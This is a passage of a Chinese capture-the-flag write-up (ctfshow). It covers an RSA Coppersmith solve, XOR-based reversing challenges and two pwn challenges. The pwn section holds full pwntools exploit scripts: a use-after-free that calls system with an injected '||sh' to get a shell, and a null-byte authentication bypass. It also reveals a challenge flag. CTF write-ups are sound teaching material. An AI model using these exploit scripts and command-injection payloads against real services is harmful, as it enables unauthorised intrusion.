n =20873587976264698212013861921447267548758723109929620330136081844796427967720295581580927324390713931549639540337285515365487607593546367886570408812338077846317206794057714877394609181224434104303259411081376607299962306250984285173463537669954845497211859940191392861121877814873939865829555350848523691546006073264112091406848179785659505299775196062799482197712761744192962658799557108701192680225134300686608396391566674966897700511638643429161735764600752699251493599533703928135311599575989253347234975026924804433742500175666009324057320386262109587593814197687132304704244158862263859846356497849518103755981
PR.<x>= Zmod(n)[]
f =(c1 >>256<<256)+ x
p =int(f.small_roots(X=2**256, beta=0.4)[0])
m = c1 ^^ p
print(long_to_bytes(m))
RE
easy_pyc
在线反编译pyc
#!/usr/bin/env python# visit https://tool.lu/pyc/ for more information# Version: Python 2.7print'Welcome to CTFshow Re!'print'your flag is here!'
flag =''
l =len(flag)for i inrange(l):
num =((flag[i]+ i)%114514+114514)%114514
code +=chr(num)
code =map(ord, code)for i inrange((l -4)+1):
code[i]= code[i]^ code[i +1]print code
code =['%16','%1d','%1e','%1a','%18','\t','%ff','%d0',',','%03','%02','%14','8','m','%01','C','D','%bd','%f7','*','\r','%da','%f9','%1c','&','5',"'",'%da','%d4','%d1','%0b','%c7','%c7','%1a','%90','D','%a1']
python2的版本,简单异或,异或回去就行,改成python3的
from Crypto.Util.number import*
code1 =[b'\x16',b'\x1d',b'\x1e',b'\x1a',b'\x18',b'\t',b'\xff',b'\xd0',b',',b'\x03',b'\x02',b'\x14',b'8',b'm',b'\x01',b'C',b'D',b'\xbd',b'\xf7',b'*',b'\r',b'\xda',b'\xf9',b'\x1c',b'&',b'5',b"'",b'\xda',b'\xd4',b'\xd1',b'\x0b',b'\xc7',b'\xc7',b'\x1a',b'\x90',b'D',b'\xa1']for i inrange(len(code1)-3,0,-1):
code1[i-1]=int.to_bytes(bytes_to_long(code1[i])^ bytes_to_long(code1[i-1]))print(''.join([chr(bytes_to_long(code1[i])-i)for i inrange(len(code1))]))
ctfshow{Just_F00l’s_D@y_R3_Ch3ck-in!}
easy_cc
ida开,shift+F12找关键字,定位到相关函数
k
e
y
key
key是
key123
,然后也是简单异或,洒洒水啦
x ='08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216'
key ='key123'for i inrange(0,len(x),2):print(chr(ord(key[(i //2)%6])^int(x[i:i +2],16)), end='')
PWN
easy_checkin
uaf漏洞
静态链接,存在system函数,直接用||绕过执行命令
from pwn import*#context.log_level = "debug"
context.arch="amd64"
binary_name ="check-in.check-in"
elf =ELF("./"+binary_name)
local =1
se =lambda data :io.send(data)
sa =lambda delim,data :io.sendafter(delim, data)
sl =lambda data :io.sendline(data)
sla =lambda delim,data :io.sendlineafter(delim, data)
rc =lambda num :io.recv(num)
rl =lambda:io.recvline()
ru =lambda delims :io.recvuntil(delims)
uu32 =lambda data :u32(data.ljust(4,b'\x00'))
uu64 =lambda data :u64(data.ljust(8,b'\x00'))
info =lambda tag, addr :log.info(tag +" -------------> "+hex(addr))
ia =lambda:io.interactive()if local==1:
io = remote("pwn.challenge.ctf.show",28110)else:
io = process("./"+binary_name)defdebug():
gdb.attach(io,'''
set glibc 2.31\n
b *0x08048C27
''')
pause()defadd(size,val):
sla(b"chioce :",b'1')
sla(b'Note size :',str(size).encode())
sla(b'Content :',val)defshow(index):
sla(b"chioce :",b'3')
sla(b'Index :',str(index).encode())deffree(index):
sla(b"chioce :",b'2')
sla(b'Index :',str(index).encode())
add(0x10,b'aaaa')
add(0x10,b'bbbb')
free(0)
free(1)
add(0x8+4, p32(0x08050560)+b"`||sh")
show(0)
ia()
easy_sql
auth_user要等与CTFshow-demo-code-admin,后面第32的位子又要等于yes,那么用b’\x00’隔断绕过验证
第一次输入一个不存在的数据库名,使a_0=1,然后就会直接return,但保留了a_0的值,第二次输入flag数据库名,因为a_0==1所以会进入f_4函数查询数据库中的flag了
from pwn import*#context.log_level = "debug"
context.arch="amd64"
binary_name ="easy_sql.sql"
elf =ELF("./"+binary_name)
local =1
se =lambda data :io.send(data)
sa =lambda delim,data :io.sendafter(delim, data)
sl =lambda data :io.sendline(data)
sla =lambda delim,data :io.sendlineafter(delim, data)
rc =lambda num :io.recv(num)
rl =lambda:io.recvline()
ru =lambda delims :io.recvuntil(delims)
uu32 =lambda data :u32(data.ljust(4,b'\x00'))
uu64 =lambda data :u64(data.ljust(8,b'\x00'))
info =lambda tag, addr :log.info(tag +" -------------> "+hex(addr))
ia =lambda:io.interactive()if local==1:
io = remote("pwn.challenge.ctf.show",28110)else:
io = process("./"+binary_name)defdebug():
gdb.attach(io,'''
b strtok
''')
pause()# debug()
payload =b'CTFshow-demo-code-admin\x00'
payload = payload.ljust(32,b'a')
payload +=b"sey"# sl(payload)
sla(b'code:', payload)
sla(b"Query:",b"read")
sla(b'from:',b"aaaa")
sla(b"Query:",b"read")
sla(b'from:',b"flag")
sla(b'read:',b"aaaa")
ia()
版权归原作者 mxx307 所有, 如有侵权,请联系我们删除。